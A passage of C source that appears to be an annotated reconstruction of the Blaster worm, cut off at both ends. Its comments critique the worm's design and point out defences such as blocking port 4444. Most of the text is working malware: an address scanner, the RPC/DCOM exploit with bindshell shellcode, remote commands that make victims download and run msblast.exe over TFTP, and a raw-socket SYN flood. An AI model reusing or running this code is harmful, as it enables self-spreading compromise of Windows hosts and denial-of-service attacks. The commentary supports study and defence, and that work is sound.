/* Create a server-socket to listen for UDP requests on */

fd = socket(AF_INET, SOCK_DGRAM, 0);

if (fd == SOCKET_ERROR)

goto closesocket_and_exit;

/* Bind the socket to 69/udp */

memset(&server, 0, sizeof(server));

server.sin_family = AF_INET;

server.sin_port = htons(TFTP_PORT_69);

server.sin_addr.s_addr = 0; /*TFTP server addr = */

if (bind(fd, (struct sockaddr*)&server, sizeof(server)) != 0)

goto closesocket_and_exit;

/* Receive a packet, any packet. The contents of the received

* packet are ignored. This means, BTW, that a defensive

* "worm-kill" could send a packet from somewhere else. This

* will cause the TFTP server to download the msblast.exe

* file to the wrong location, preventing the victim from

* doing the download. */

sizeof_client = sizeof(client);

if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0,

(struct sockaddr*)&client, &sizeof_client) <= 0)

goto closesocket_and_exit;

/* The TFTP server will respond with many 512 byte blocks

* until it has completely sent the file; each block must

* have a unique ID, and each block must be acknowledged.

* BUFORD: The worm ignores TFTP ACKs. This is probably why

* the worm restarts the TFTP service rather than leaving it

* enabled: it essentially flushes all the ACKs from the

* the incoming packet queue. If the ACKs aren't flushed,

* the worm will incorrectly treat them as TFTP requests.

*/

block_id = 0;

/* Open this file. GetModuleFilename was used to figure out

* this filename. */

fp = fopen(msblast_filename, "rb");

if (fp == NULL)

goto closesocket_and_exit;

/* Continue sending file fragments until none are left */

for (;;) {

block_id++;

/* Build TFTP header */

#define TFTP_OPCODE_DATA 3

*(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA);

*(short*)(rspbuf+2)= htons((short)block_id);

/* Read next block of data (about 12 blocks total need

* to be read) */

block_size = fread(rspbuf+4, 1, 512, fp);

/* Increase the effective length to include the TFTP

* head built above */

block_size += 4;

/* Send this block */

if (sendto(fd, (char*)&rspbuf, block_size,

0, (struct sockaddr*)&client, sizeof_client) <= 0)

break;

/* Sleep for a bit.

* The reason for this is because the worm doesn't care

* about retransmits -- it therefore must send these

* packets slow enough so congestion doesn't drop them.

* If it misses a packet, then it will DoS the victim

* without actually infecting it. Worse: the intended

* victim will continue to send packets, preventing the

* worm from infecting new systems because the

* requests will misdirect TFTP. This design is very

* bad, and is my bet as the biggest single factor

* that slows down the worm. */

Sleep(900);

/* File transfer ends when the last block is read, which

* will likely be smaller than a full-sized block*/

if (block_size != sizeof(rspbuf)) {

fclose(fp);

fp = NULL;

break;

}

}

if (fp != NULL)

fclose(fp);

closesocket_and_exit:

/* Notify that the thread has stopped, so that the waiting

* thread can continue on */

is_tftp_running = FALSE;

closesocket(fd);

ExitThread(0);

return 0;

}

/*

* This function increments the IP address.

* BUFORD: This conversion from numbers, to strings, then back

* to number is overly complicated. Experienced programmers

* would simply store the number and increment it. This shows

* that Buford does not have much experience work with

* IP addresses.

*/

void blaster_increment_ip_address()

{

for (;;) {

if (ClassD <= 254) {

ClassD++;

return;

}

ClassD = 0;

ClassC++;

if (ClassC <= 254)

return;

ClassC = 0;

ClassB++;

if (ClassB <= 254)

return;

ClassB = 0;

ClassA++;

if (ClassA <= 254)

continue;

ClassA = 0;

return;

}

}

/*

* This is called from the main() function in an

* infinite loop. It scans the next 20 addresses,

* then exits.

*/

void blaster_spreader()

{

fd_set writefds;

register int i;

struct sockaddr_in sin;

struct sockaddr_in peer;

int sizeof_peer;

int sockarray[20];

int opt = 1;

const char *victim_ip;

/* Create the beginnings of a "socket-address" structure that

* will be used repeatedly below on the 'connect()' call for

* each socket. This structure specified port 135, which is

* the port used for RPC/DCOM. */

memset(&sin, 0, sizeof(sin));

sin.sin_family = AF_INET;

sin.sin_port = htons(MSRCP_PORT_135);

/* Create an array of 20 socket descriptors */

for (i=0; i<20; i++) {

sockarray[i] = socket(AF_INET, SOCK_STREAM, 0);

if (sockarray[i] == -1)

return;

ioctlsocket(sockarray[i], FIONBIO , &opt);

}

/* Initiate a "non-blocking" connection on all 20 sockets

* that were created above.

* FAQ: Essentially, this means that the worm has 20

* "threads" -- even though they aren't true threads.

*/

for (i=0; i<20; i++) {

int ip;

blaster_increment_ip_address();

sprintf(target_ip_string, "%i.%i.%i.%i",

ClassA, ClassB, ClassC, ClassD);

ip = inet_addr(target_ip_string);

if (ip == -1)

return;

sin.sin_addr.s_addr = ip;

connect(sockarray[i],(struct sockaddr*)&sin,sizeof(sin));

}

/* Wait 1.8-seconds for a connection.

* BUG: this is often not enough, especially when a packet

* is lost due to congestion. A small timeout actually makes

* the worm slower than faster */

Sleep(1800);

/* Now test to see which of those 20 connections succeeded.

* BUFORD: a more experienced programmer would have done

* a single 'select()' across all sockets rather than

* repeated calls for each socket. */

for (i=0; i<20; i++) {

struct timeval timeout;

int nfds;

timeout.tv_sec = 0;

timeout.tv_usec = 0;

nfds = 0;

FD_ZERO(&writefds);

FD_SET((unsigned)sockarray[i], &writefds);

if (select(0, NULL, &writefds, NULL, &timeout) != 1) {

closesocket(sockarray[i]);

} else {

sizeof_peer = sizeof(peer);

getpeername(sockarray[i],

(struct sockaddr*)&peer, &sizeof_peer);

victim_ip = inet_ntoa(peer.sin_addr);

/* If connection succeeds, exploit the victim */

blaster_exploit_target(sockarray[i], victim_ip);

closesocket(sockarray[i]);

}

}

}

/*

* This is where the victim is actually exploited. It is the same

* exploit as created by xfocus and altered by HDMoore.

* There are a couple of differences. The first is that the in

* those older exploits, this function itself would create the

* socket and connect, whereas in Blaster, the socket is already

* connected to the victim via the scanning function above. The

* second difference is that the packets/shellcode blocks are

* declared as stack variables rather than as static globals.

* Finally, whereas the older exploits give the hacker a

* "shell prompt", this one automates usage of the shell-prompt

* to tell the victim to TFTP the worm down and run it.

*/

void blaster_exploit_target(int sock, const char *victim_ip)

{

/* These blocks of data are just the same ones copied from the

* xfocus exploit prototype. Whereas the original exploit

* declared these as "static" variables, Blaster declares

* these as "stack" variables. This is because the xfocus

* exploit altered them -- they must be reset back to their

* original values every time. */

unsigned char bindstr[]={

0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,

0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,

0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,

0x00,0x00,0x00,0x00,

0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,

0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={

0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03

,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00

,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45

,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E

,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D

,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41

,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00

,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45

,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00

,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00

,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03

,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00

,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29

,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00

,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00

,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF

,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09

,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00

,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00

,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00

,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00

,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01

,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03

,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00

,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E

,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00

,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00

,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00

,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00

,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={

0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00

,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={

0x5C,0x00

,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00

,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00

,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00

,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};

unsigned char sc[]=

"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"

"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"

"\x46\x00\x58\x00\x46\x00\x58\x00"

"\xff\xff\xff\xff" /* return address */

"\xcc\xe0\xfd\x7f" /* primary thread data block */

"\xcc\xe0\xfd\x7f" /* primary thread data block */

/* port 4444 bindshell */

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"

"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"

"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"

"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"

"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"

"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"

"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"

"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"

"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"

"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"

"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"

"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"

"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"

"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"

"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"

"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"

"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"

"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"

"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"

"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"

"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"

"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"

"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"

"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"

"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"

"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"

"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"

"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"

"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"

"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"

"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"

"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";

unsigned char request4[]={

0x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00

,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C

,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00

};

int ThreadId;

int len;

int sizeof_sa;

int ret;

int opt;

void *hThread;

struct sockaddr_in target_ip;

struct sockaddr_in sa;

int fd;

char cmdstr[0x200];

int len1;

unsigned char buf2[0x1000];

int i;

/*

* Turn off non-blocking (i.e. re-enable blocking mode)

* DEFENSE: Tarpit programs (e.g. 'labrea' or 'deredoc')

* will slow down the spread of this worm. It takes a long

* time for blocking calls to timeout. I had several

* thousand worms halted by my 'deredoc' tarpit.

*/

opt = 0;

ioctlsocket(sock, FIONBIO , &opt);

/*

* Choose whether the exploit targets Win2k or WinXP.

*/

if (winxp1_or_win2k2 == 1)

ret = 0x100139d;

else

ret = 0x18759f;

memcpy(sc+36, (unsigned char *) &ret, 4);

/* ----------------------------------------------

* This section is just copied from the original exploit

* script. This is the same as the scripts that have been

* widely published on the Internet. */

len=sizeof(sc);

memcpy(buf2,request1,sizeof(request1));

len1=sizeof(request1);

*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;

*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;

memcpy(buf2+len1,request2,sizeof(request2));

len1=len1+sizeof(request2);

memcpy(buf2+len1,sc,sizeof(sc));

len1=len1+sizeof(sc);

memcpy(buf2+len1,request3,sizeof(request3));

len1=len1+sizeof(request3);

memcpy(buf2+len1,request4,sizeof(request4));

len1=len1+sizeof(request4);

*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;

*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;

if (send(sock,bindstr,sizeof(bindstr),0)== -1)

{

//perror("- Send");

return;

}

if (send(sock,buf2,len1,0)== -1)

{

//perror("- Send");

return;

}

closesocket(sock);

Sleep(400);

/* ----------------------------------------------*/

/*

* This section of code connects to the victim on port 4444.

* DEFENSE : This means you can block this worm by blocking

* TCP port 4444.

* FAQ: This port is only open for the brief instant needed

* to exploit the victim. Therefore, you can't scan for

* port 4444 in order to find Blaster victims.

*/

if ((fd=socket(AF_INET,SOCK_STREAM,0)) == -1)

return;

memset(&target_ip, 0, sizeof(target_ip));

target_ip.sin_family = AF_INET;

target_ip.sin_port = htons(SHELL_PORT_4444);

target_ip.sin_addr.s_addr = inet_addr(victim_ip);

if (target_ip.sin_addr.s_addr == SOCKET_ERROR)

return;

if (connect(fd, (struct sockaddr*)&target_ip,

sizeof(target_ip)) == SOCKET_ERROR)

return;

/*

* This section recreates the IP address from whatever IP

* address this successfully connected to. In practice,

* the strings "victim_ip" and "target_ip_string" should be

* the same.

*/

memset(target_ip_string, 0, sizeof(target_ip_string));

sizeof_sa = sizeof(sa);

getsockname(fd, (struct sockaddr*)&sa, &sizeof_sa);

sprintf(target_ip_string, "%d.%d.%d.%d",

sa.sin_addr.s_net, sa.sin_addr.s_host,

sa.sin_addr.s_lh, sa.sin_addr.s_impno);

/*

* This section creates a temporary TFTP service that is

* ONLY alive during the period of time that the victim

* needs to download.

* FAQ: You can't scan for TFTP in order to find Blaster

* victims because the port is rarely open.

*/

if (fd_tftp_service)

closesocket(fd_tftp_service);

hThread = CreateThread(0,0,

blaster_tftp_thread,0,0,&ThreadId);

Sleep(80); /*give time for thread to start*/

/*

* This sends the command

* tftp -i 1.2.3.4 GET msblast.exe

* to the victim. The "tftp.exe" program is built into

* Windows. It's intended purpose is to allow users to

* manually update their home wireless access points with

* new software (and other similar tasks). However, it is

* not intended as a generic file-transfer protocol (it

* stands for "trivial-file-transfer-protocol" -- it is

* intended for only trivial tasks). Since a lot of hacker

* exploits use the "tftp.exe" program, a good hardening

* step is to remove/rename it.

*/

sprintf(cmdstr, "tftp -i %s GET %s\n",

target_ip_string, MSBLAST_EXE);

if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)

goto closesocket_and_return;

/*

* Wait 21 seconds for the victim to request the file, then

* for the file to be delivered via TFTP.

*/

Sleep(1000);

for (i=0; i<10 && is_tftp_running; i++)

Sleep(2000);

/*

* Assume the the transfer is successful, and send the

* command to start executing the newly downloaded program.

* BUFORD: The hacker starts this twice. Again, it

* demonstrates a lock of confidence, so he makes sure it's

* started by doing it twice in slightly different ways.

* Note that the "BILLY" mutex will prevent from actually

* running twice.

*/

sprintf(cmdstr, "start %s\n", MSBLAST_EXE);

if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)

goto closesocket_and_return;

Sleep(2000);

sprintf(cmdstr, "%s\n", MSBLAST_EXE);

send(fd, cmdstr, strlen(cmdstr), 0);

Sleep(2000);

/*

* This section closes the things started in this procedure

*/

closesocket_and_return:

/* Close the socket for the remote command-prompt that has

* been established to the victim. */

if (fd != 0)

closesocket(fd);

/* Close the TFTP server that was launched above. As noted,

* this means that the TFTP service is not running most of

* the time, so it's not easy to scan for infected systems.

*/

if (is_tftp_running) {

TerminateThread(hThread,0);

closesocket(fd_tftp_service);

is_tftp_running = 0;

}

CloseHandle(hThread);

}

/**

* Convert the name into an IP address. If the IP address

* is formatted in decimal-dot-notation (e.g. 192.2.0.43),

* then return that IP address, otherwise do a DNS lookup

* on the address. Note that in the case of the worm,

* it always gives the string "windowsupdate.com" to this

* function, and since Microsoft turned off that name,

* the DNS lookup will usually fail, so this function

* generally returns -1 (SOCKET_ERROR), which means the

* address 255.255.255.255.

*/

int blaster_resolve_ip(const char *windowsupdate_com)

{

int result;

result = inet_addr(windowsupdate_com);

if (result == SOCKET_ERROR) {

HOSTENT *p_hostent = gethostbyname(windowsupdate_com);

if (p_hostent == NULL)

result = SOCKET_ERROR;

else

result = *p_hostent->h_addr;

}

return result;

}

/*

* This thre

*/

ULONG WINAPI blaster_DoS_thread(LPVOID p)

{

int opt = 1;

int fd;

int target_ip;

/* Lookup the domain-name. Note that no checking is done

* to ensure that the name is valid. Since Microsoft turned

* this off in their domain-name servers, this function now

* returns -1. */

target_ip = blaster_resolve_ip("windowsupdate.com");

/* Create a socket that the worm will blast packets at

* Microsoft from. This is what is known as a "raw" socket.

* So-called "raw-sockets" are ones where packets are

* custom-built by the programmer rather than by the TCP/IP

* stack. Note that raw-sockets were not available in Windows

* until Win2k. A cybersecurity pundit called Microsoft

* "irresponsible" for adding them.

*

* That's probably an

* unfairly harsh judgement (such sockets are available in

* every other OS), but it's true that it puts the power of

* SYNflood attacks in the hands of lame worm writers. While

* the worm-writer would probably have chosen a different

* DoS, such as Slammer-style UDP floods, it's likely that

* Buford wouldn't have been able to create a SYNflood if

* raw-sockets had not been added to Win2k/WinXP. */

fd = WSASocket(

AF_INET, /*TCP/IP sockets*/

SOCK_RAW, /*Custom TCP/IP headers*/

IPPROTO_RAW,

NULL,

0,

WSA_FLAG_OVERLAPPED

);

if (fd == SOCKET_ERROR)

return 0;

/* Tell the raw-socket that IP headers will be created by the

* programmer rather than the stack. Most raw sockets in

* Windows will also have this option set. */

if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL,

(char*)&opt, sizeof(opt)) == SOCKET_ERROR)

return 0;

/* Now do the SYN flood. The worm writer decided to flood

* slowly by putting a 20-millisecond delay between packets

* -- causing only 500 packets/second, or roughly, 200-kbps.

* There are a couple of reasons why the hacker may have

* chosen this.

* 1. SYNfloods are not intended to be bandwidth floods,

* even slow rates are hard to deal with.

* 2. Slammer DoSed both the sender and receiver, therefore

* senders hunted down infected systems and removed

* them. This won't DoS the sender, so people are more

* likely not to care about a few infected machines.

*/

for (;;) {

blaster_send_syn_packet(target_ip, fd);

/* Q: How fast does it send the SYNflood?

* A: About 50 packets/second, where each packet is

* 320-bits in size, for a total of 15-kbps.

* It means that Buford probably intended for

* dialup users to be a big source of the DoS

* attack. He was smart enough to realize that

* faster floods would lead to users discovering

* the worm and turning it off. */

Sleep(20);

}

closesocket(fd);

return 0;

}

/*

* This is a standard TCP/IP checksum algorithm

* that you find all over the web.

*/

int blaster_checksum(const void *bufv, int length)

{

const unsigned short *buf = (const unsigned short *)bufv;

unsigned long result = 0;

while (length > 1) {

result += *(buf++);

length -= sizeof(*buf);

}

if (length) result += *(unsigned char*)buf;

result = (result >> 16) + (result & 0xFFFF);

result += (result >> 16);

result = (~result)&0xFFFF;

return (int)result;

}

/*

* This is a function that uses "raw-sockets" in order to send

* a SYNflood at the victim, which is "windowsupdate.com" in

* the case of the Blaster worm.

*/

void blaster_send_syn_packet(int target_ip, int fd)

{

struct IPHDR

{

unsigned char verlen; /*IP version & length */

unsigned char tos; /*IP type of service*/

unsigned short totallength;/*Total length*/

unsigned short id; /*Unique identifier */

unsigned short offset; /*Fragment offset field*/

unsigned char ttl; /*Time to live*/

unsigned char protocol; /*Protocol(TCP, UDP, etc.)*/

unsigned short checksum; /*IP checksum*/

unsigned int srcaddr; /*Source address*/

unsigned int dstaddr; /*Destination address*/

};

struct TCPHDR

{

unsigned short srcport;

unsigned short dstport;

unsigned int seqno;

unsigned int ackno;

unsigned char offset;

unsigned char flags;

unsigned short window;

unsigned short checksum;

unsigned short urgptr;

};

struct PSEUDO

{

unsigned int srcaddr;

unsigned int dstaddr;

unsigned char padzero;

